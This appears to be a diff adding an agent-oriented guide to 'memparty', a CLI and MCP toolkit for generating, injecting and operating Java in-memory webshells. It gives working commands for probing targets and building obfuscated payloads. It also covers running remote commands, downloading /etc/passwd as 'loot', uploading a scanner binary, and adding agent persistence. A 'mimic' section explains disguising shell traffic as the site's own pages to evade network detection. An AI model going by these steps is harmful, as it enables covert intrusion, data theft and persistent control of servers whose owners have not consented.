+ | Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` |
94
+ | H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` |
95
+ | Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` |
96
+ | XXL-JOB endpoint | `XxlJob` |
97
+
98
+ > **Packer categories vs variants:** on v3, parents like `Base64`, `JSP`, `JavaDeserialize`,
99
+ > `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… are only categories. Pick a concrete child.
100
+ > Legacy v2 parents can return several variants (`allPackResults`). Run `memparty config packers`.
101
+
102
+ ## Step 2 — Probe (fingerprint first when unsure)
103
+
104
+ If you don't know the target middleware, generate a **probe** to detect it before committing to a
105
+ memshell. Probes have a strict method × content matrix — only these combos work:
106
+
107
+ | Method (`-m`) | Supported contents (`-c`) | Extra flags |
108
+ |---------------|---------------------------|-------------|
109
+ | `DNSLog` | `Server`, `JDK` | `--host <dnslog.domain>` |
110
+ | `Sleep` | `Server` only | `--sleep-server <guess> --seconds N` |
111
+ | `ResponseBody`, `ResponseHeader` | `Server`, `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server <guess> --req-param-name <p>` (Command also takes `--command-template`) |
112
+
113
+ > `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
114
+ > `ResponseHeader` is v3+. Optional `--resp-header-name` controls the response header. With
115
+ > `--server Unknown`, the probe identifies the middleware; set `--req-param-name` and send the
116
+ > same name as a request parameter or header to let it find the live request.
117
+
118
+ ```bash
119
+ # Blind: does the target resolve our DNS? Which server is it?
120
+ memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
121
+
122
+ # Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
123
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
124
+
125
+ # OOB-visible: run a command and echo it into the HTTP response body
126
+ memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
127
+ ```
128
+
129
+ The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
130
+
131
+ ## Step 3 — Generate
132
+
133
+ ```bash
134
+ memparty gen -s <server> -t <tool> -y <type> -p <packer> [tool-specific flags] [--jdk <v>]
135
+ ```
136
+
137
+ Common tool-specific flags:
138
+ - Godzilla / GodzillaSession: `--godzilla-pass`, `--godzilla-key`
139
+ - Behinder: `--behinder-pass`
140
+ - AntSword: `--antsword-pass`
141
+ - Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template`
142
+ - All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
143
+ - Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
144
+ - Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
145
+ - v3+ obfuscation: `--obfuscate`, `--obfuscation-options enableControlFlow=false,...`,
146
+ `--obfuscation-scope ALL|MEMSHELL_INJECTOR|INJECTOR|MEMSHELL`; probe also accepts the first two.
147
+
148
+ Output:
149
+ - payload → **stdout** by default.
150
+ - `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
151
+ - `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
152
+ - `-o` + `--json` together → the file is still written and the JSON gains an
153
+ `outputFile: {destination, size, decoded}` field — the recommended combo for agents
154
+ (metadata via JSON, payload on disk).
155
+ - `-o` refuses aggregate packers (several variants in `allPackResults`) with an error
156
+ telling you to pick a leaf packer.
157
+ - MCP: `generate_memshell` / `generate_probe` accept an `outputFile` arg with the same
158
+ behavior (auto-decode by extension, write result echoed back as `outputFile`).
159
+
160
+ ### Agent persistence and bytecode tools
161
+
162
+ For an Agent shell, `--agent-args persist=true` / `--agent-args restore=true` supplies an
163
+ attach-time argument, not a generation DTO field. It requires an `Agent*` shell type with
164
+ `AgentJar`, `AgentJarWithJDKAttacher`, or
165
+ `AgentJarWithJREAttacher`; `FilelessAgent` is a different delivery mechanism. Use the returned examples:
166
+ `java -jar agent.jar <pid> persist=true` or
167
+ `jattach <pid> load instrument false agent.jar=persist=true`; substitute `restore=true` to
168
+ restore the original jar.
169
+
170
+ `memparty bytecode decode -f Payload.class` decodes a class. `bytecode transform` accepts
171
+ `--relocate-from/--relocate-to`, `--new-class-name`, `--random-name`, `--entry-method`,
172
+ `--obfuscate`, `--probe-method ResponseBody|ResponseHeader`, `--server`, and `-p <packer>`.
173
+ Use `-o` to write the transformed class, or the packed result when a packer is selected.
174
+ MCP equivalents are `bytecode_decode` / `bytecode_transform`.
175
+
176
+ ## Step 4 — Verify the shell is alive
177
+
178
+ Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells
179
+ you whether it works (exit 0/1):
180
+
181
+ ```bash
182
+ memparty connect -u <shell-url> -t godzilla --pass <pass> --key <key> # defaults pass/key
183
+ memparty connect -u <shell-url> -t behinder --pass <pass> # default rebeyond
184
+ memparty connect -u <shell-url> -t suo5 # add --suo5-mode v2|v1 to force
185
+ ```
186
+
187
+ MemShellParty shells check an auth header — take `headerName`/`headerValue` from the
188
+ `gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty
189
+ response (the v3 Suo5 shell checks it too):
190
+
191
+ ```bash
192
+ memparty connect -u <shell-url> -t godzilla --pass pass --key key \
193
+ --header-name User-Agent --header-value <headerValue-from-gen-json>
194
+ ```
195
+
196
+ Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
197
+ `headerName`/`headerValue`, `suo5Mode`).
198
+
199
+ Godzilla WebSocket / RawWebSocket uses a `ws://` or `wss://` URL. Tomcat Upgrade uses HTTP
200
+ plus `--upgrade-protocol <fully-qualified-shell-class-name>`; save it with the target. A
201
+ `GodzillaSession` shell connects with `-t godzilla`, which relays its session cookie.
202
+
203
+ Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable
204
+ `-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`).
205
+
206
+ ## Step 5 — Execute commands on the shell
207
+
208
+ Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
209
+ prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
210
+ `connect`:
211
+
212
+ ```bash
213
+ memparty exec -u <shell-url> -t godzilla --pass pass --key key \
214
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
215
+ --cmd "whoami"
216
+ memparty exec -u <shell-url> -t behinder --pass rebeyond \
217
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
218
+ --cmd "id"
219
+ ```
220
+
221
+ - Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
222
+ `cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
223
+ - Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
224
+ - `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
225
+
226
+ Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
227
+ `headerName`/`headerValue`).
228
+
229
+ ## Step 6 — Transfer files
230
+
231
+ `memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the
232
+ real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for
233
+ Behinder). Same credentials and gate header as `exec`:
234
+
235
+ ```bash
236
+ memparty download -u <shell-url> -t godzilla --pass pass --key key \
237
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
238
+ /etc/passwd -o loot/passwd
239
+ memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
240
+ ```
241
+
242
+ - Download refuses to overwrite an existing local file unless `--force`; `-o` naming a
243
+ directory keeps the remote basename; no `-o` means `./<basename>`.
244
+ - Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed
245
+ upload warns that the remote file may be partial.
246
+ - Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory.
247
+ - Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the
248
+ server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese
249
+ Windows pass `--remote-charset GBK` (MCP: `remoteCharset`).
250
+ - `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` —
251
+ file bytes never travel over MCP/stdout.
252
+
253
+ Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and
254
+ `upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
255
+ paths are on the machine running the MCP server.
256
+
257
+ ## Site-mimicking traffic (mimic protocol)
258
+
259
+ `mimic` is a demo protocol that shapes shell traffic after the target site's own pages:
260
+ requests are browser-style form POSTs; responses are real site pages with the ciphertext
261
+ hidden in a per-shell-unique marker (a JS variable or an HTML comment). The wire codec is
262
+ selectable per profile (`cipher` section: AES/ECB, AES/CBC with random IV, or XOR; base64 /
263
+ base64url / hex; optional key-derived junk tail). **You write the site profile — the CLI
264
+ does not crawl.** That is the point: you can judge which page makes believable cover; a
265
+ regex crawler cannot.
266
+
267
+ ### Workflow
268
+
269
+ 1. **Read the site yourself.** Fetch the homepage and 2-3 representative pages (plus the 404
270
+ page). Note the page structure, `<title>` style, link paths, Content-Type — and judge what
271
+ the site's **dominant traffic** looks like: a content site serves mostly HTML documents,
272
+ an SPA serves mostly JSON XHR, an admin console serves mostly form POSTs.
273
+ 2. **Match the dominant traffic first.** Blending in is a statistics game: your requests
274
+ should be the same *shape* as what the site already serves all day. A content site
275
+ serves HTML documents; an SPA serves JSON XHR; an AI product streams SSE — mimic
276
+ covers all of them: HTML pages (marker injected) or **any text response with a
277
+ `{{payload}}` placeholder** (JSON envelope, XML, JS, SSE chunks…) served with its
278
+ own contentType (a `text/event-stream` skin is flushed chunk by chunk, not as a
279
+ one-shot body), and form, JSON, or **fully templated request bodies**.
280
+ 3. **Scaffold + hand-write the profile:**
281
+
282
+ ```bash
283
+ memparty profile init acme --site http://target:8080
284
+ ```
285
+
286
+ This writes a skeleton to `~/.memparty/profiles/acme.json`. Now **edit that file with your
287
+ own file tools** — the CLI has no "fill" command; the content is your judgment, not a
288
+ command's output. Fill in:
289
+ - `templates`: **one or more** cover pages — the server rotates among them per response,
290
+ so the traffic doesn't repeat one page's length/hash. 2-4 pages is plenty; pick
291
+ **high-traffic, self-contained** ones (the pages real users fetch all the time), and
292
+ paste each HTML **verbatim** — do not "improve" it, real bytes are the whole point.
293
+ Each entry keeps its own `title` and `contentType`.
294
+ - With `--dynamic-path`, also probe what the site returns for a **random** path
295
+ (`curl -i <site>/<random>`): some consoles answer 200 with the login page for *every*
296
+ unknown path instead of a 404. Your templates should match that default response —
297
+ a 200 answer from the shell then mirrors the site's own behavior exactly.
298
+ - `paths`: the site's real path vocabulary, weighted toward the hot prefixes real traffic
299
+ hits (nav links, sitemap entries — not dead corners), e.g. `["/api/", "/news/", "/app/"]` —
300
+ first-level dirs, same origin only. Used for `--dynamic-path`.
301
+ - `request` (optional but recommended): the request's form shape — **one object or an
302
+ array the client rotates among** (with optional `weight`). `secretField` is the field
303
+ that carries the ciphertext; `secretIn` is where it rides: `"body"` (default, a form
304
+ field), `"query"` (a URL parameter) or `"header"`; `fields` are decoys. **Model it on
305
+ a real form the site already receives** — e.g. a console login POST. Value placeholders:
306
+ `{{hex:N}}` (N hex), `{{b64:N}}` (N base64url), `{{uuid}}`, `{{ts}}` (unix seconds),
307
+ `{{int:A:B}}`. Never ship the default `pass=<cipher>` single-field body — a lone
308
+ `pass=` parameter is a textbook webshell signature.
309
+ - `request.bodyTemplate` (optional, secretIn=body only): a **full request body** with
310
+ `{{payload}}` where the ciphertext goes — for traffic a flat form/JSON body can't
311
+ imitate: an OpenAI-style chat completion (`{"model":…,"messages":[{"role":"user",
312
+ "content":"{{payload}}"}]}`, pair with an SSE skin), a GraphQL envelope, an XML/SOAP
313
+ message, or a multipart/form-data upload (write the boundary literally in the
314
+ template — the Content-Type boundary is inferred from its first delimiter line, or
315
+ set it explicitly in `headers`). Decoy macros render per request. The filter
316
+ extracts the field from any raw body (JSON / multipart / XML anchors), so no
317
+ server-side change is needed per format.
318
+ - `cipher` (optional): the wire codec. Fields (all optional, defaults = the legacy
319
+ format `aes-ecb` + `base64` + `js-var` + no tail):
320
+ - `algorithm`: `"aes-ecb"` (fixed blocks — same plaintext ⇒ same ciphertext),
321
+ `"aes-cbc"` (random IV per message — same command encrypts differently every
322
+ time, the strongest default), `"xor"` (no JCE needed).
323
+ - `encoding`: `"base64"` | `"base64url"` | `"hex"`.
324
+ - `padTail`: `true` appends key-derived-length (0-15) random alnum garbage after
325
+ the encoded ciphertext — Behinder's `aes_with_magic` trick against length
326
+ signatures. Costs nothing, turn it on.
327
+ - `marker`: `"js-var"` (`var Re<md5(pass+key)[0:5]>_config="..."`) or
328
+ `"html-comment"` (`<!--Re..._config:...-->`) — pick whichever looks more at
329
+ home in the cover page.
330
+ ⚠️ The cipher is **baked into the filter at build time**. Editing `cipher` in the
331
+ profile afterwards desynchronizes client and server — rebuild + re-inject.
332
+ 4. **Use it:**
333
+
334
+ ```bash
335
+ memparty connect -u http://target/ -t mimic --pass <pass> --key <key> \
336
+ --profile acme --dynamic-path
337
+ memparty exec acme/mimic --cmd "whoami" # profile rides along in the saved target
338
+ ```
339
+
340
+ ### Worked example
341
+
342
+ Target: a company portal at `http://192.0.2.1:8080` — a classic content site (HTML
343
+ documents dominate; no SPA).
344
+
345
+ 1. Fetch `/` and two linked pages. Observations: every page shares the same header/footer;
346
+ `/news/` is linked from the nav and returns a short self-contained list page; the nav
347
+ links are `/products/`, `/news/`, `/about/`; everything is `text/html; charset=utf-8`.
348
+ 2. `memparty profile init acme --site http://192.0.2.1:8080`.
349
+ 3. Edit `~/.memparty/profiles/acme.json` so it reads (template shortened here for display —
350
+ the real file must contain the page's FULL verbatim HTML):
351
+
352
+ ```json
353
+ {
354
+ "name": "acme",
355
+ "site": "http://192.0.2.1:8080",
356
+ "createdAt": "2026-07-19T08:00:00.000Z",
357
+ "templates": [
358
+ {
359
+ "title": "新闻动态 - ACME 科技",
360
+ "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...full verbatim HTML...</html>",
361
+ "contentType": "text/html; charset=utf-8"
362
+ },
363
+ {
364
+ "title": "产品中心 - ACME 科技",
365
+ "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...another page...</html>",
366
+ "contentType": "text/html; charset=utf-8"
367
+ }
368
+ ],
369
+ "paths": ["/products/", "/news/", "/about/"],
370
+ "request": {
371
+ "secretField": "verCode",
372
+ "fields": [
373
+ {"name": "csrftoken", "value": "{{hex:32}}"},
374
+ {"name": "j_username", "value": "admin"},
375
+ {"name": "j_password", "value": "{{hex:24}}"},
376
+ {"name": "agreement", "value": "on"}
377
+ ]
378
+ }
379
+ }
380
+ ```
381
+
382
+ Why these choices: `/news/` over the homepage — equally high-traffic but no carousel
383
+ JS/images, so no missing sub-request waterfall; two templates so consecutive responses
384
+ differ in length and bytes; `paths` are exactly the nav links real users click, not
385
+ guessed words; the `request` block mirrors the site's own login form, so the shell POST
386
+ is indistinguishable from someone signing in. (Templates shortened here for display —
387
+ the real file must contain each page's FULL verbatim HTML. A legacy single
388
+ `template`/`title`/`contentType` triple still loads, it just can't rotate.)
389
+ 4. Verify it parses, then connect:
390
+
391
+ ```bash
392
+ memparty profile show acme # schema check happens here too
393
+ memparty connect -u http://192.0.2.1:8080/ -t mimic --pass s3cr3t --key k3y \
394
+ --profile acme --dynamic-path
395
+ # OK mimic http://192.0.2.1:8080/
396
+ # round-trip ok (profile=acme; dynamic path http://192.0.2.1:8080/news/x7q2mzab)
397
+ ```
398
+
399
+ ### What mimic handles vs. what you decide
400
+
401
+ - Automatic: the selected codec (key = md5(key)[0:16] for every algorithm), per-shell
402
+ derived response delimiters, form-body encoding, browser-consistent request headers,
403
+ credential round-trip on `connect`.
404
+ - Yours: the template page, the path vocabulary, the request pacing. Filter/listener-type
405
+ memory shells answer on any path, which is what makes `--dynamic-path` legitimate — for a
406
+ fixed-URL shell just omit the flag.
407
+ - Limits: exec only (no upload/download); request timing/method mix is fixed, so pace your
408
+ commands like a patient human.
409
+
410
+ ### Server side — `memparty custom build`
411
+
412
+ The server half is a plain `javax.servlet.Filter` generated FROM the profile and compiled
413
+ locally — one command does the whole chain:
414
+
415
+ ```bash
416
+ memparty custom build --profile acme --server Tomcat
417
+ ```
418
+
419
+ What happens inside:
420
+
421
+ 1. renders `MimicFilter<rand>.java` from the profile (templates, carrier fields, **the
422
+ `cipher` section is baked in here**) + random `pass`/`key` (or `--pass/--key`);
423
+ 2. compiles it with the local JDK (`javac` on PATH, servlet API jar bundled — no other
424
+ dependency);
425
+ 3. submits the class to the MemShellParty backend as `shellTool=Custom`, which wraps it
426
+ with the injector for `--server` (any server from `memparty config tools` — the filter
427
+ itself has zero middleware specifics) and packs it with `--packer`
428
+ (default `DefaultBase64`);
429
+ 4. writes an output dir (default `<profile>-build/`): the `.java`/`.class`, one
430
+ `payload-*.txt` per pack variant, and **`manifest.json`** — the single source of truth
431
+ for the follow-up (credentials, cipher, class names, ready-made connect command).
432
+
433
+ Then: inject the payload through your foothold (deserialization RCE `defineClass`, an
434
+ existing shell that evaluates scripts, an agent loader…), and connect with the printed
435
+ command — a successful `connect` auto-saves the target, afterwards
436
+ `memparty exec <host>/mimic --cmd "id"` needs no flags.
437
+
438
+ Notes that matter:
439
+
440
+ - **Random class name every build** (`--out` keeps builds apart): a running JVM can't
441
+ re-define a class, so re-injection NEEDS the fresh name — never reuse one.
442
+ - The printed `--pass/--key` are random per build unless you pin them; they're in
443
+ `manifest.json`, not in your shell history if you use `--json`.
444
+ - The filter probes carriers with `getParameter()`/`getHeader()` only (never reads the
445
+ body stream), passes undecryptable values through `chain.doFilter`, and answers errors
446
+ with the plain cover page — it coexists with the site's real forms and other shells.
447
+ - Filter-type deployment truth learned on a real console: **dynamic path is conditional
448
+ on the target app's own filters** — probe a random path first, fall back to the fixed
449
+ working path when the app answers everything itself.
450
+
451
+ ### Reality check before relying on it
452
+
453
+ Run `memparty demo` once and read the printed request URL and response: the traffic should
454
+ be indistinguishable from a normal page view at a glance. Two ways it still stands out:
455
+
456
+ - **Missing sub-requests**: if your template page has assets (CSS/JS/images) a real browser
457
+ would fetch, a NDR notices their absence — prefer self-contained pages.
458
+ - **Volume mismatch**: signature devices look at bodies, but statistical detection looks at
459
+ baselines — hitting a rarely-used path shape (or HTML on an API site) deviates from it.
460
+ That is why the dominant-traffic rule above outranks everything else.
461
+
462
+ ## Step 7 — Save targets, switch by name
463
+
464
+ Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
465
+ with an optional remark and category), then reference it as `<project>/<shell>`:
466
+
467
+ ```bash
468
+ memparty save web1/bh9060 -u <shell-url> -t behinder --pass rebeyond \
469
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
470
+ --remark "内网测试环境" --category test --shell-remark "root 权限"
471
+ memparty list # everything, or --category test
472
+ memparty exec web1/bh9060 --cmd "whoami" # no other flags needed
473
+ memparty exec web1 --cmd "id" # bare project works when it holds one shell
474
+ ```
475
+
476
+ MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
477
+ `projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
478
+ (project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
479
+ `name: "<project>/<shell>"` to `connect_test` / `exec_command`.
480
+ The store lives at `~/.memparty/targets.json`.
481
+
482
+ ## Step 8 — Audit with the operation log
483
+
484
+ Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to
485
+ `~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output
486
+ is truncated.
487
+ Query it to recall what was done against a target:
488
+
489
+ ```bash
490
+ memparty log --category exec --target web1
491
+ ```
492
+
493
+ Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
494
+ actions before repeating them, or to answer "what did we run on this host?".
495
+
496
+ ## Gotchas
497
+
498
+ - **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
499
+ → non-prefixed. Picking the wrong family = the shell won't load.
500
+ - **JDK target.** `--jdk java6/8/9/11/17/21/25` (or bare `8`, or raw major `52`). Match (or stay ≤) the
501
+ target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
502
+ - **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
503
+ special injector class name — the CLI generates one automatically; don't override
504
+ `--injector-class-name` for these.
505
+ - **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
506
+ - **v3 packer parents are categories** — pick a concrete variant (legacy v2 aggregates return multiple variants).
507
+ `-o`/`outputFile` refuses them outright (error tells you to pick a leaf packer).
508
+ - **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
509
+ aren't class-byte payloads.
510
+ - **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
511
+ don't trust payloads from public services in real engagements — self-host with Docker and use
512
+ `MEMPARTY_API_URL` or `--api`).
513
+
514
+ ## Reverse: parse a class name
515
+
516
+ Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
517
+
518
+ ```bash
519
+ memparty parse-classname --file shell.class
520
+ memparty parse-classname <base64-of-class-bytes>
521
+ ```